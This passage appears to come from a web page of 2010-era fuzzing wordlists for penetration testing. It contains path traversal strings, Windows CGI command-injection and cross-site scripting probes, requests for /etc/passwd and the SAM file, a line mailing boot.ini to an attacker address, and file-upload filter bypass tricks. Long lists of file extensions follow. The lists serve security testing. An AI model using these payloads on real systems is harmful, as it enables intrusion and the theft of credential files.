/> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumerated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Generic (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - PHP Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> # PHP on Windows<br /> {PHPSCRIPT}.php::$DATA<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Microsoft Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> 